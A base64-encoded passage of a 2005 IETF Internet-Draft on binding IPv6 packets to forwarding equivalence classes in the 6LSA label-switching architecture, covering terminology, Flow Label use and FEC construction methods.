b24gMyBwcmVzZW50cyBzb21lIGJhY2tncm91bmQgaW5mb3JtYXRpb24gb24gdGhlIDZMU0ENCiAg IGRlc2lnbi4gIFNlY3Rpb24gNCBkaXNjdXNzZXMgd2F5cyB0byBjb25zdHJ1Y3QgRkVDcy4gIFNl Y3Rpb24gNQ0KICAgZGVzY3JpYmVzIGhvdyBwYWNrZXRzIG1pZ2h0IGJlIGJvdW5kIHRvIGEgY2Vy dGFpbiBGRUMuICBTZWN0aW9uIDYNCiAgIGNvdmVycyBzZWN1cml0eSBjb25zaWRlcmF0aW9ucy4N Cg0KMi4gIFRlcm1pbm9sb2d5DQoNCiAgIEl0IGlzIGludGVuZGVkIHRoYXQgdGhpcyBkb2N1bWVu dCB1c2UgdGhlIHNhbWUgdGVybWlub2xvZ3kgYXMgdGhlDQogICA2TFNBIGRyYWZ0IFsyXS4gIFRo aXMgc2VjdGlvbiByZXBlYXRzIHRoZSByZWxldmFudCBkZWZpbml0aW9ucyBmcm9tDQogICB0aGF0 IGRvY3VtZW50Lg0KDQoNCg0KICAgCTZMU0EgZG9tYWluICAgICAgICAgICAgIGEgY29udGlndW91 cyBzZXQgb2Ygbm9kZXMgdGhhdCBwZXJmb3JtDQogICAJICAgICAgICAgICAgICAgICAgICAgICAg NkxTQSByb3V0aW5nIGFuZCBmb3J3YXJkaW5nIG9wZXJhdGlvbnMNCiAgIAkgICAgICAgICAgICAg ICAgICAgICAgICBhbmQgYXJlIGluIG9uZSByb3V0aW5nIG9yIGFkbWluIGRvbWFpbg0KDQogICAJ NkxTQSBlZ3Jlc3Mgbm9kZSAgICAgICAgYSA2TFNBIGVkZ2Ugbm9kZSBpbiBpdHMgcm9sZSBvZiBo YW5kbGluZw0KICAgCSAgICAgICAgICAgICAgICAgICAgICAgIHRyYWZmaWMgYXMgdGhlIHRyYWZm aWMgbGVhdmVzIDZMU0EgZG9tYWluDQoNCiAgIAk2TFNBIGluZ3Jlc3Mgbm9kZSAgICAgICBhIDZM U0EgZWRnZSBub2RlIGluIGl0cyByb2xlIG9mIGhhbmRsaW5nDQogICAJICAgICAgICAgICAgICAg ICAgICAgICAgdHJhZmZpYyBhcyB0aGUgdHJhZmZpYyBlbnRlcnMgYSA2TFNBIGRvbWFpbg0KDQoN Cg0KQm91bmQsIGV0IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAg ICAgICAgICAgIFtQYWdlIDNdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgIEJpbmRpbmcgUGFja2V0 cyB0byBGRUNzIGluIDZMU0EgICAgICAgIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICAJNkxTUCAgICAg ICAgICAgICAgICAgICAgYSBsYWJlbCBzd2l0Y2hlZCBwYXRoIHRocm91Z2ggYSBwYWlyIG9yDQog ICAJICAgICAgICAgICAgICAgICAgICAgICAgbW9yZSA2TFNScw0KDQogICAJNkxTUiAgICAgICAg ICAgICAgICAgICAJSVB2NiBsYWJlbCBzd2l0Y2hpbmcgcm91dGVyIHRoYXQgaXMgY2FwYWJsZQ0K ICAgCSAgICAgICAgICAgICAgICAgICAgICAgIG9mIGZvcndhcmRpbmcgSVB2NiBwYWNrZXRzIGJh c2VkIG9uIGNlcnRhaW4NCiAgIAkgICAgICAgICAgICAgICAgICAgICAgICBGRUMgYXR0cmlidXRl cw0KDQogICAJbGFiZWwJICAgICAgICAgICAgICAgIHRoZSBJUHY2IEZsb3cgTGFiZWwgd2hpY2gg aXMgY2FycmllZCBpbg0KICAgCSAgICAgICAgICAgICAgICAgICAgICAgIHRoZSBJUHY2IHBhY2tl dCBoZWFkZXIgYW5kIG1heSByZXByZXNlbnQNCiAgIAkgICAgICAgICAgICAgICAgICAgICAgICB0 aGUgcGFja2V0J3MgRkVDDQoNCiAgIAlGbG93IExhYmVsICAgICAgICAgICAgICB0aGUgMjAtYml0 IGxhYmVsIGluIHRoZSBJUHY2IGhlYWRlciB1c2VkDQogICAJICAgICAgICAgICAgICAgICAgICAg ICAgZm9yIGlkZW50aWZ5aW5nIGZsb3dzDQoNCiAgIAlsYWJlbCBzd2l0Y2hpbmcgICAJYSBmYXN0 IGZvcndhcmRpbmcgb3BlcmF0aW9uIGFsbG93aW5nDQogICAJICAgICAgICAgICAgICAgICAgICAg ICAgc3RyZWFtbGluZWQgZm9yd2FyZGluZyBvZiBwYWNrZXRzIGJ5DQogICAJCQkJdXNpbmcgbGFi ZWxzIHRvIGlkZW50aWZ5IGNsYXNzZXMgb2YNCiAgIAkJCQlkYXRhIHBhY2tldHMgd2hpY2ggYXJl IHRyZWF0ZWQNCiAgIAkJCQlpbmRpc3Rpbmd1aXNoYWJseSB3aGVuIGZvcndhcmRpbmcNCg0KICAg CWxhYmVsIHN3aXRjaGVkIGhvcCAgICAJdGhlIGhvcCBiZXR3ZWVuIHR3byA2TFNBIG5vZGVzLCBv biB3aGljaA0KICAgCSAgICAgICAgICAgICAgICAgICAgICAgIGZvcndhcmRpbmcgaXMgZG9uZSB1 c2luZyBsYWJlbHMNCg0KICAgCWxhYmVsIHN3aXRjaGVkIHBhdGgJYSB2aXJ0dWFsIHBhdGggdGhy b3VnaCB3aGljaCBhbGwgcGFja2V0cw0KICAgCSAgICAgICAgICAgICAgICAgICAgICAgIGluIGEg ZmxvdyBhcmUgcm91dGVkIGFjcm9zcyBhIHJvdXRpbmcgb3INCiAgIAkJCQlhZG1pbmlzdHJhdGl2 ZSBkb21haW4NCg0KDQozLiAgQmFja2dyb3VuZA0KDQogICBQYWNrZXRzIHJlY2VpdmluZyBpZGVu dGljYWwgZm9yd2FyZGluZyB0cmVhdG1lbnQgYXJlIHNhaWQgdG8gYmVsb25nDQogICB0byB0aGUg c2FtZSBGRUMuICBGb3IgZXhhbXBsZSwgd2l0aGluIGEgZ2l2ZW4gcm91dGVyLCBwYWNrZXRzIHRo YXQNCiAgIGFyZSBzZW50IHRvIHRoZSBzYW1lIG5leHQtaG9wIG92ZXIgdGhlIHNhbWUgbGluayB3 aXRoIHRoZSBzYW1lDQogICBxdWFsaXR5LW9mLXNlcnZpY2UgKFFvUykgd291bGQgYmVsb25nIHRv IHRoZSBzYW1lIEZFQyBiZWNhdXNlIHRoZQ0KICAgcm91dGVyIHRyZWF0cyBlYWNoIHBhY2tldCBp biBleGFjdGx5IHRoZSBzYW1lIG1hbm5lci4gIEFuIEZFQyBjb3VsZA0KICAgYmUgaWRlbnRpZmll ZCBieSBhIHRhZyBvciBsYWJlbC4gIFRodXMgaWYgYW4gaW5jb21pbmcgcGFja2V0IGlzDQogICBs YWJlbGVkIGFzIGJlbG9uZ2luZyB0byBhIGNlcnRhaW4gRkVDLCBhIGZvcndhcmRpbmcgZGVjaXNp b24gY2FuIGJlDQogICBtYWRlIHdpdGhvdXQgcmVmZXJlbmNlIHRvIHRoZSBwYWNrZXQncyBkZXN0 aW5hdGlvbiBvciB0byB0aGUgcm91dGluZw0KICAgdGFibGUuICBJbiBNUExTLCBhIHNoaW0gaGVh ZGVyIGlzIG5lZWRlZCBmb3IgdGhlIG5ldHdvcmsgbGF5ZXIgaGVhZGVyDQogICB0byBjYXJyeSB0 aGlzIGxhYmVsLiAgQSBzaGltIGhlYWRlciBpcyBub3QgcmVxdWlyZWQgaW4gNkxTQTsgdGhlIEZs b3cNCiAgIExhYmVsIGlzIHRoZSBsYWJlbC4gIEVhY2ggcm91dGVyIG11c3QgaW5mb3JtIGl0cyAo dXBzdHJlYW0pIG5laWdoYm9yDQogICBvZiB0aGUgbGFiZWwgdmFsdWUgdG8gdXNlIHRvIHJlcHJl c2VudCBlYWNoIEZFQy4gIEluIE1QTFMsIFRoZQ0KICAgbGFiZWwtdG8tRkVDIG1hcHBpbmcgaXMg cGFzc2VkIGJ5IG1lYW5zIG9mIGEgbGFiZWwgZGlzdHJpYnV0aW9uDQogICBwcm90b2NvbCBzdWNo IGFzIExEUCBbUkZDIDMwMzZdIG9yIFJTVlAtVEVbUkZDIDMyMDldLg0KDQogICBPbmNlIGxhYmVs LXRvLUZFQyBtYXBwaW5ncyBoYXZlIGJlZW4gZXN0YWJsaXNoZWQgZm9yIGVhY2ggaG9wIGFsb25n IGENCiAgIGdpdmVuIHBhdGgsIHVubGFiZWxlZCBwYWNrZXRzIGFycml2aW5nIGF0IHRoZSBmaXJz dC1ob3AgKGluZ3Jlc3MpDQogICA2TFNSIGFyZSBjbGFzc2lmaWVkIG9yIGJvdW5kIHRvIGFuIEZF Qy4gIFRoaXMgY2xhc3NpZmljYXRpb24gY2FuIGJlDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAgICAg ICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1BhZ2UgNF0NCgwN CkludGVybmV0LURyYWZ0ICAgICAgQmluZGluZyBQYWNrZXRzIHRvIEZFQ3MgaW4gNkxTQSAgICAg ICAgRmVicnVhcnkgMjAwNQ0KDQoNCiAgIGJhc2VkIG9uIGEgdmFyaWV0eSBvZiBjaGFyYWN0ZXJp c3RpY3MgaW5jbHVkaW5nIGRlc3RpbmF0aW9uIGFkZHJlc3MsDQogICBzb3VyY2UgYWRkcmVzcywg VHJhZmZpYyBDbGFzcywgVENQL1VEUCBwb3J0LCBldGMuICBBdCBlYWNoIHN1YnNlcXVlbnQNCiAg IGhvcCwgdGhlIGZvcndhcmRpbmcgZGVjaXNpb24gY2FuIGJlIG1hZGUgc29sZWx5IGJ5IGV4YW1p bmluZyB0aGUNCiAgIGluY29taW5nIGxhYmVsIHdpdGhvdXQgZnVydGhlciByZWZlcmVuY2UgdG8g dGhlIHBhY2tldCdzIGhlYWRlciBvcg0KICAgY29udGVudHMuDQoNCiAgIFRoZSA2TFNBIHVzZXMg dGhlIEZsb3cgTGFiZWwgZmllbGQgaW4gdGhlIElQdjYgaGVhZGVyIHRvIHJlcHJlc2VudA0KICAg dGhlIEZFQyBvZiB0aGUgcGFja2V0LiAgQ29uc3RyYWludHMgb24gdXNpbmcgdGhlIElQdjYgRmxv dyBMYWJlbA0KICAgZmllbGQgYXJlIGRlc2NyaWJlZCBpbiBSRkMgMzY5NywgSVB2NiBGbG93IExh YmVsIFNwZWNpZmljYXRpb24gW1JGQw0KICAgMzY5N10uICBBbW9uZyBvdGhlciBjb25zaWRlcmF0 aW9ucywgdGhpcyBkb2N1bWVudCByZXF1aXJlcyB0aGF0IHRoZQ0KICAgRmxvdyBMYWJlbCBiZSBw YXNzZWQgdW5jaGFuZ2VkIGZyb20gc291cmNlIHRvIGRlc3RpbmF0aW9uLiAgVGhlIDZMU0ENCiAg IExhYmVsIFN3aXRjaGluZyBSb3V0ZXJzICg2TFNScyksIGhvd2V2ZXIsIHNob3VsZCBiZSBmcmVl IHRvIG1ha2UgdXNlDQogICBvZiB0aGlzIGZpZWxkLiAgSWYgdGhlIHNvdXJjZSBob3N0IGhhcyBs ZWZ0IHRoZSBmaWVsZCBzZXQgdG8gemVybywgYW4NCiAgIGVncmVzcyA2TFNSLCB3aGVuIGl0IGZv cndhcmRzIGEgcGFja2V0IHRvIGEgbm9uLTZMU0Egcm91dGVyLCBjYW4gc2V0DQogICB0aGUgRmxv dyBMYWJlbCBiYWNrIHRvIHplcm8gdGh1cyByZXN0b3JpbmcgaXQgdG8gaXRzIG9yaWdpbmFsIHN0 YXRlLg0KDQogICBJbiB0aGUgNkxTQSBhcmNoaXRlY3R1cmUsIGVhY2ggcG9ydCBvbiBhIDZMU1Ig d291bGQgYmUgY29uZmlndXJlZCBhcw0KICAgYW4gImVkZ2UiIChpbmdyZXNzL2VncmVzcykgcG9y dCBvciBhICJuZXR3b3JrIiBwb3J0LiAgVGhlc2Ugcm91dGVycw0KICAgY291bGQgaW5jbHVkZSBu b24tNkxTUiBwb3J0cyBhcyB3ZWxsLCBidXQgc3VjaCBjb25maWd1cmF0aW9ucyBhcmUNCiAgIGJl eW9uZCB0aGUgc2NvcGUgb2YgdGhpcyBkb2N1bWVudC4NCg0KICAgUGFja2V0cyBlbGlnaWJsZSBm b3IgNkxTQSB0cmVhdG1lbnQgdGhhdCBhcnJpdmUgYXQgYW4gZWRnZSBwb3J0IG9mIGENCiAgIDZM U1IgYXJlIGJvdW5kIHRvIGFuIEZFQy4gIFRoZSBGRUMgaXMgcmVwcmVzZW50ZWQgYnkgYSBub24t emVybyB2YWx1ZQ0KICAgaW5zZXJ0ZWQgaW4gdGhlIElQdjYgSGVhZGVyIEZsb3cgTGFiZWwgZmll bGQuICBPZiBjb3Vyc2UgaWYgYSBwYWNrZXQNCiAgIGFycml2aW5nIGF0IGEgNkxTUiBpbmdyZXNz IHBvcnQgaXMgdG8gYmUgZm9yd2FyZGVkIG91dCBhbm90aGVyIGVkZ2UNCiAgIChlZ3Jlc3MpIHBv cnQgb24gdGhlIHNhbWUgNkxTUiwgdGhlIEZsb3cgTGFiZWwgZmllbGQgbmVlZCBub3QgYmUNCiAg IGNoYW5nZWQuICBUaGVyZWZvcmUgdGhlIDZMU0Egc3dpdGNoaW5nIHRlY2huaXF1ZSBhcHBsaWVz IG9ubHkgdG8NCiAgIHBhY2tldHMgYmVpbmcgZm9yd2FyZGVkIG91dCBuZXR3b3JrIHBvcnRzIG9u IHRoZSA2TFNSLiAgVGhpcyBhbHNvDQogICBwcm92aWRlcyB0aGUgZmxleGliaWxpdHkgb2YgSVAg cm91dGluZyBhcyB3ZWxsIGFzIGxhYmVsIHN3aXRjaGluZyBvZg0KICAgcGFja2V0cy4NCg0KICAg QmVjYXVzZSBvZiB0aGUgcmVxdWlyZW1lbnQgdG8gbWFpbnRhaW4gdGhlIGludGVncml0eSBvZiB0 aGUgRmxvdw0KICAgTGFiZWwgZmllbGQsIHRoZSA2TFNBIHN3aXRjaGluZyB0ZWNobmlxdWUgY2Fu IG9ubHkgYmUgYXBwbGllZCB0bw0KICAgcGFja2V0cyBhcnJpdmluZyBhdCBhbiBlZGdlIHBvcnQg d2l0aCB0aGVpciBGbG93IExhYmVsIGZpZWxkIHNldCB0bw0KICAgemVyby4gIEluIGZ1dHVyZSB3 b3JrIG9uIDZMU0EsIG1vcmUgZ2VuZXJhbGl6ZWQgdHJlYXRtZW50IG9mIHBhY2tldHMNCiAgIHRo YXQgYXJyaXZlIHdpdGggbm9uLXplcm8gRmxvdyBMYWJlbCB3aWxsIGJlIHByZXNlbnRlZC4gIElu IHRoZQ0KICAgc2ltcGxlc3QgZGVzaWduLCB3ZSBhc3N1bWUgdGhhdCB0aGUgbmV0d29yayBjYW4g YmUgY29uZmlndXJlZCBzbyB0aGF0DQogICBvbmx5IHRoZSBmb3JtZXIgcGFja2V0cyB3aXRoIHpl cm8gbGFiZWwgYXJyaXZlIGF0IDZMU1IgZWRnZSBwb3J0cy4NCiAgIE1vcmUgaW52b2x2ZWQgdGVj aG5pcXVlcyBmb3Igc2VwYXJhdGluZyBhbmQgbWFya2luZyA2TFNBLWVsaWdpYmxlDQogICBwYWNr ZXRzIGFycml2aW5nIGF0IGVkZ2UgcG9ydHMgYXJlIGRpc2N1c3NlZCBpbiBTZWN0aW9uIDUuDQoN CiAgIEEgcGFja2V0IGFycml2aW5nIGF0IGEgbmV0d29yayBwb3J0IG9uIGEgNkxTUiBtdXN0IGVp dGhlciBoYXZlIGEgMA0KICAgRmxvdyBMYWJlbCBmaWVsZCAoaW5kaWNhdGluZyB0aGUgZmlyc3Qg cGFja2V0IGluIGEgbmV3IGZsb3cpLCBoYXZlDQogICBpdHMgRmxvdyBMYWJlbCBmaWVsZCBzZXQg YnkgdGhlIHVwc3RyZWFtIChwcmV2aW91cy1ob3ApIHJvdXRlciBhcyBhbg0KICAgaW5kaWNhdGlv biBvZiB0aGUgcGFja2V0J3MgRkVDIChmb3IgdGhlIGN1cnJlbnQgcm91dGVyKSwgb3IgYmUgbWFy a2VkDQogICBpbiBzb21lIHdheSBhcyBpbmVsaWdpYmxlIGZvciA2TFNBLXRyZWF0bWVudC4gIElm IHRoZSBwYWNrZXQgaXMNCiAgIGVsaWdpYmxlIGZvciA2TFNBIHRyZWF0bWVudCBhbmQgaXMgYmVp bmcgZm9yd2FyZGVkIG91dCBhbiBlZGdlDQogICAoZWdyZXNzKSBwb3J0LCB0aGUgRmxvdyBMYWJl bCBpcyBzZXQgdG8gemVyby4gIElmIGFuIGVsaWdpYmxlIHBhY2tldA0KDQoNCg0KQm91bmQsIGV0 IGFsLiAgICAgICAgICAgRXhwaXJlcyBBdWd1c3QgMjEsIDIwMDUgICAgICAgICAgICAgICAgIFtQ YWdlIDVdDQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgIEJpbmRpbmcgUGFja2V0cyB0byBGRUNzIGlu IDZMU0EgICAgICAgIEZlYnJ1YXJ5IDIwMDUNCg0KDQogICBpcyBiZWluZyBmb3J3YXJkZWQgb3V0 IGEgbmV0d29yayBwb3J0LCB0aGUgRmxvdyBMYWJlbCBmaWVsZCBpcw0KICAgdW5jaGFuZ2VkIGlm IGl0IGlzIHplcm8gKGluZGljYXRpbmcgYSBuZXcgZmxvdyB0byB0aGUgbmV4dC1ob3ApIG9yDQog ICBzZXQgdG8gdGhlIHZhbHVlIGNvcnJlc3BvbmRpbmcgdG8gdGhlIHBhY2tldCdzIEZFQyBhdCB0 aGUgbmV4dC1ob3ANCiAgIExTUi4NCg0KICAgVGhlIHJlbWFpbmRlciBvZiB0aGlzIGRvY3VtZW50 IHdpbGwgZm9jdXMgb24gdHdvIHF1ZXN0aW9uczoNCg0KICAgCTEpIEhvdyBkb2VzIGEgNkxTUiBj b25zdHJ1Y3QgRkVDcz8NCg0KICAgCTIpIEhvdyBkb2VzIGEgNkxTUiBiaW5kIHBhY2tldHMgdG8g YW4gRkVDPw0KDQoNCjQuICBGRUMgQ29uc3RydWN0aW9uDQoNCiAgIEZvciB0aGUgcHVycG9zZXMg b2YgdGhpcyBkaXNjdXNzaW9uLCBhbiBGRUMgaXMgdmlld2VkIGFzIGEgbGlzdCBvZg0KICAgb25l IG9yIG1vcmUgYWRkcmVzc2VzIG9yIHByZWZpeGVzIHdpdGggdGhlaXIgYXNzb2NpYXRlZCBUcmFm ZmljIENsYXNzDQogICB2YWx1ZSBmb3IgUW9TIG9yIHByZWNlZGVuY2UuICBQYWNrZXRzIGRlc3Rp bmVkIGZvciBhbnkgb2YgdGhlDQogICBhZGRyZXNzZXMvcHJlZml4ZXMgaW4gdGhlIGxpc3QgKHdp dGggdGhlIHNwZWNpZmllZCBRb1MgaWYgYXBwbGljYWJsZSkNCiAgIHdpbGwgYmUgZm9yd2FyZGVk IGluIGV4YWN0bHkgdGhlIHNhbWUgd2F5LCBlLmcuLCB0aGV5IHdpbGwgYmUgc2VudA0KICAgb3V0 IHRoZSBzYW1lIHBvcnQgd2l0aCB0aGUgc2FtZSBkYXRhIGxpbmsgZW5jYXBzdWxhdGlvbiwgYW5k IHRoZSBzYW1lDQogICBvdXRnb2luZyBsYWJlbC4gIFRoZSBzaW1wbGVzdCBpbnN0YW5jZSBvZiBh biBGRUMgaXMgYSBzaW5nbGUgSVB2Ng0KICAgYWRkcmVzcyB3aXRoIGRlZmF1bHQgZm9yd2FyZGlu ZyBwcmVjZWRlbmNlLiAgQSBzaWduaWZpY2FudGx5IG1vcmUNCiAgIGNvbXBsaWNhdGVkIEZFQyBt aWdodCBiZSBhIGxpc3Qgb2YgYWxsIHJvdXRpbmcgdGFibGUgZW50cmllcyB3aXRoIHRoZQ0KICAg c2FtZSBuZXh0LWhvcC4gIFRoZSBmb3J3YXJkaW5nIHRyZWF0bWVudCBmb3IgYSBzZXQgb2YgcGFj a2V0cyBpcw0KICAgcmVwcmVzZW50ZWQgYnkgYSBmb3J3YXJkaW5nIGRhdGEgc3RydWN0dXJlLiAg VGhpcyBzdHJ1Y3R1cmUgY29udGFpbnMNCiAgIHRoZSByZXF1aXJlZCBmb3J3YXJkaW5nIGluZm9y bWF0aW9uIGluY2x1ZGluZzoNCg0KDQogICAJMSkgUGFja2V0knMgbmV4dC1ob3ANCg0KICAgCTIp IE91dGdvaW5nIGludGVyZmFjZQ0KDQogICAJMykgT3V0Z29pbmcgbGFiZWwNCg0KICAgCTQpIERh dGEgbGluayBlbmNhcHN1bGF0aW9uDQoNCiAgIAk1KSBQcmVjZWRlbmNlIG9yIG91dGJvdW5kIHF1 ZXVpbmcgaW5mb3JtYXRpb24uDQoNCiAgIEluIGdlbmVyYWwsIElQdjYgcGFja2V0cyB3aWxsIGFy cml2ZSBhdCBhIDZMU1IgbmV0d29yayBwb3J0IHdpdGggYQ0KICAgbm9uLXplcm8gbGFiZWwgaW4g dGhlIGhlYWRlciAodW5sZXNzIGl0IGlzIHRoZSBmaXJzdCBwYWNrZXQgaW4gdGhlDQogICBmbG93 KS4gIEluIG9yZGVyIHRvIGRldGVybWluZSB0aGUgcHJvcGVyIGZvcndhcmRpbmcgdHJlYXRtZW50 IGZvciB0aGUNCiAgIHBhY2tldCB0aGUgNkxTUiB3aWxsIGNvbnN1bHQgYSBzd2l0Y2hpbmcgdGFi bGUgd2hpY2ggbWFwcyBpbmJvdW5kDQogICBsYWJlbHMgdG8gdGhlIGFwcHJvcHJpYXRlIGZvcndh cmRpbmcgZGF0YSBzdHJ1Y3R1cmUuICBUaGUgZm9yd2FyZGluZw0KICAgc3RydWN0dXJlIHdpbGwg ZGVmaW5lIGhvdyB0byBzZW5kIHRoZSBwYWNrZXQgdG8gaXRzIG5leHQgaG9wDQogICBpbmNsdWRp bmcgd2hhdCBvdXRib3VuZCBsYWJlbCB0byB1c2UgaWYgdGhlIG91dGdvaW5nIHBvcnQgaXMgbm90 IGFuDQogICBlZGdlIHBvcnQuICBNdWx0aXBsZSBzd2l0Y2hpbmcgdGFibGUgZW50cmllcyBjYW4g cmVmZXIgdG8gdGhlIHNhbWUNCiAgIGZvcndhcmRpbmcgZGF0YSBzdHJ1Y3R1cmUuICBTaW1pbGFy bHksIGEgc2luZ2xlIGluY29taW5nIGxhYmVsIGNhbg0KICAgbWFwIHRvIG11bHRpcGxlIGZvcndh cmRpbmcgZW50cmllcyB0byBwZXJtaXQgbG9hZCBiYWxhbmNpbmcuDQoNCg0KDQpCb3VuZCwgZXQg YWwuICAgICAgICAgICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1Bh Z2UgNl0NCgwNCkludGVybmV0LURyYWZ0ICAgICAgQmluZGluZyBQYWNrZXRzIHRvIEZFQ3MgaW4g NkxTQSAgICAgICAgRmVicnVhcnkgMjAwNQ0KDQoNCiAgIFRoZXJlIGFyZSBzZXZlcmFsIG1ldGhv ZHMgdGhhdCBtaWdodCBiZSB1c2VkIHRvIHBvcHVsYXRlIHRoZQ0KICAgZm9yd2FyZGluZyBkYXRh IHN0cnVjdHVyZSBsaXN0IGFuZCBzd2l0Y2hpbmcgdGFibGUuICBUaG9zZSB0aGF0IHdpbGwNCiAg IGJlIGRpc2N1c3NlZCBoZXJlIGFyZToNCg0KDQogICAJMSkgTWFudWFsIGNvbmZpZ3VyYXRpb24N Cg0KICAgCTIpIE5ldHdvcmsgbWFuYWdlbWVudCAoU05NUCkNCg0KICAgCTMpIEluZmVyZW5jZSBm cm9tIGluY29taW5nIHBhY2tldHMNCg0KICAgCTQpIExhYmVsIGRpc3RyaWJ1dGlvbiBwcm90b2Nv bA0KDQoNCjQuMSAgTWFudWFsIENvbmZpZ3VyYXRpb24NCg0KICAgRml4ZWQgcGF0aHMgdGhyb3Vn aCBhIDZMU0EgZG9tYWluICh0dW5uZWxzKSBjYW4gYmUgcHJlLWNvbXB1dGVkIGFuZA0KICAgbG9h ZGVkIGludG8gYSA2TFNSIGJ5IG1hbnVhbCBvciBzZW1pLWF1dG9tYXRpYyBtZWFucy4gIEZvciBl eGFtcGxlLCBhDQogICBjb25maWd1cmF0aW9uIGZpbGUgY29udGFpbmluZyB0aGUgc3dpdGNoaW5n IHRhYmxlIGNvdWxkIGJlIGRvd25sb2FkZWQNCiAgIGludG8gYSBkZXZpY2UgZnJvbSBhIGNlbnRy YWwgZGlzdHJpYnV0aW9uIHBvaW50LiAgV2hpbGUgbm90IHZlcnkNCiAgIHByYWN0aWNhbCBmb3Ig bGFyZ2Ugc3lzdGVtcyBpbiBsYXJnZSBuZXR3b3JrcywgdGhpcyBhcHByb2FjaCBtaWdodCBiZQ0K ICAgdXNlZnVsIGluIGNlcnRhaW4gY2FzZXMuICBUaGUgc3ludGF4IG9mIHRoZSBjb21tYW5kcyBu ZWVkZWQgdG8NCiAgIGNvbmZpZ3VyZSB0aGUgZGV2aWNlIGFyZSBvZiBjb3Vyc2UgaW1wbGVtZW50 YXRpb24gZGVwZW5kZW50IGFuZCBoYXZlDQogICB0byBiZSBjb25zaXN0ZW50IHdpdGggdGhlIG92 ZXJhbGwgY29tbWFuZCBzdHJ1Y3R1cmUgb2YgdGhlIGRldmljZS4NCg0KNC4yICBOZXR3b3JrIE1h bmFnZW1lbnQNCg0KICAgV2l0aCB0aGUgZGVmaW5pdGlvbiBvZiBhcHByb3ByaWF0ZSBNSUJzLCBT Tk1QIGNvdWxkIGJlIHVzZWQgdG8gc2V0IHVwDQogICB0aGUgZm9yd2FyZGluZyBkYXRhIHN0cnVj dHVyZXMgYW5kIHRoZSBzd2l0Y2hpbmcgdGFibGUgZm9yIGEgNkxTUi4NCiAgIEFnYWluLCB0aGlz IHRlY2huaXF1ZSB3b3VsZCBiZSBtb3N0IHVzZWZ1bCBmb3Igc2V0dGluZyB1cCB0dW5uZWxzDQog ICB0aHJvdWdoIGEgNkxTQSBkb21haW4gd2l0aCBmYWlybHkgc3RhdGljIGxpbmtzLiAgVGhlIGlu Zm9ybWF0aW9uIHRoYXQNCiAgIHdvdWxkIGhhdmUgdG8gYmUgc3VwcGxpZWQgdG8gdGhlIHJvdXRl ciB3b3VsZCBpbmNsdWRlIHRoZSBjb250ZW50cyBvZg0KICAgdGhlIGZvcndhcmRpbmcgZGF0YSBz dHJ1Y3R1cmUgZm9yIGVhY2ggRkVDIGJlaW5nIGNvbmZpZ3VyZWQgdXNpbmcgdGhlDQogICBNSUIg YXMgd2VsbCBhcyBvbmUgb3IgbW9yZSBzd2l0Y2hpbmcgdGFibGUgZW50cmllcyBtYXBwaW5nIGFu DQogICBpbmNvbWluZyBsYWJlbCB0byB0aGF0IGRhdGEgc3RydWN0dXJlLiAgSW5mb3JtYXRpb24g Y29udGFpbmVkIGluIHRoZQ0KICAgZm9yd2FyZGluZyBkYXRhIHN0cnVjdHVyZSB3b3VsZCBoYXZl IHRvIGJlIHN1ZmZpY2llbnQgdG8gYWNjb21wbGlzaA0KICAgZm9yd2FyZGluZyB0byB0aGUgbmV4 dC1ob3AgNkxTUi4gIFRoaXMgd291bGQgaW5jbHVkZSBvdXRnb2luZyBwb3J0LA0KICAgb3V0Z29p bmcgbGFiZWwgYW5kIGRhdGEgbGluayBlbmNhcHN1bGF0aW9uIGlmIHJlcXVpcmVkLiAgRWFjaCBv Zg0KICAgdGhlc2UgZGF0YSBzdHJ1Y3R1cmUgZWxlbWVudHMgY291bGQgYmUgZGVmaW5lZCBieSBh biBlbnRyeSBpbiBhIE1JQg0KICAgdGFibGUuICBMaWtld2lzZSwgdGhlIGNvbnRlbnRzIG9mIHRo ZSBzd2l0Y2hpbmcgdGFibGUgY291bGQgYmUNCiAgIHNwZWNpZmllZCBieSBlbnRyaWVzIGluIGEg c2Vjb25kIE1JQiB0YWJsZS4NCg0KICAgQW4gZXhhbXBsZSBvZiBhIE1JQiBmb3IgY29uZmlndXJp bmcgTVBMUyBMU1BzIGlzIHByZXNlbnRlZCBpbg0KICAgk011bHRpcHJvdG9jb2wgTGFiZWwgU3dp dGNoaW5nIChNUExTKSBMYWJlbCBTd2l0Y2hpbmcgUm91dGVyIChMU1IpDQogICBNYW5hZ2VtZW50 IEluZm9ybWF0aW9uIEJhc2WUIChSRkMgMzgxMykuICBUaGUgTUlCKHMpIG5lY2Vzc2FyeSB0bw0K ICAgaW1wbGVtZW50IHRoaXMgYXBwcm9hY2ggaW4gdGhlIDZMU0Egd2lsbCBiZSBkZWZpbmVkIGlu IGEgc2VwYXJhdGUNCiAgIGRvY3VtZW50Lg0KDQoNCg0KDQpCb3VuZCwgZXQgYWwuICAgICAgICAg ICBFeHBpcmVzIEF1Z3VzdCAyMSwgMjAwNSAgICAgICAgICAgICAgICAgW1BhZ2UgN10NCgwNCklu dGVybmV0LURyYWZ0ICAgICAgQmluZGluZyBQYWNrZXRzIHRvIEZFQ3MgaW4gNkxTQSAgICAgICAg RmVicnVhcnkgMjAwNQ0KDQoNCjQuMyAgUHNldWRvZmxvdw0KDQogICBJZiB0aGUgRkVDcyBhcmUg bGltaXRlZCB0byBhIHNpbmdsZSBlbGVtZW50IGNvbnNpc3Rpbmcgb2Ygb25lDQogICBhZGRyZXNz LCB0aGUgaW5jb21pbmcgbGFiZWwgY2FuIGJlIGRpc3RyaWJ1dGVkIHBpZ2d5LWJhY2tlZCBvbnRv IGENCiAgIGRhdGEgcGFja2V0LiAgV2l0aCB0aGlzIGFwcHJvYWNoLCBhIDZMU1IgZm9yd2FyZGlu ZyBwYWNrZXRzIG91dCBhDQogICBuZXR3b3JrIHBvcnQgc2VsZWN0cyBhbiB1bnVzZWQgbGFiZWwg ZnJvbSBpdHMgb3duIGxhYmVsIHNwYWNlLiAgVGhlDQogICBsYWJlbCBzcGFjZSBjYW4gYmUgcGVy LXBsYXRmb3JtIG9yIHBlci1wb3J0IChpZiB0aGUgbmV4dC1ob3Agcm91dGVyDQogICBjYW4gdW5h 